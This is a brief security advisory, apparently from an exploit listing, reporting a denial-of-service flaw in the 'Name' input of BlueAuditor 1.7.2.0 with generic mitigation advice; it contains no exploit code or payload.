BlueAuditor 1.7.2.0 – ‘Name’ Denial of Service (PoC)

BlueAuditor is prone to a denial-of-service vulnerability because the application fails to properly handle user-supplied input. An attacker can exploit this issue to crash the application, denying service to legitimate users.

Mitigation:

Users should avoid opening files from untrusted or unknown sources. Additionally, users should never provide input to applications that is not trusted.
